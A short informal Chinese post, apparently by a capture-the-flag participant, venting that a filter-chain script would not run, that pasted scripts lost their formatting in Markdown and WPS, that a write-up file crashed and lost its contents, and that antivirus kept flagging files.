结束 服了 filer chain的脚本不知道为什么跑不起 md WPS也是 复制个脚本 粘出来格式全是乱的

nb 刚刚官方wp出了 我说我看看有没有要补充的 打开这个文件 文件崩了 后面写的wp全没了 666 QAQ

什么东西一直报毒 把我这个文件也一起被waf了 nm 重新杀了下毒 好像没问题了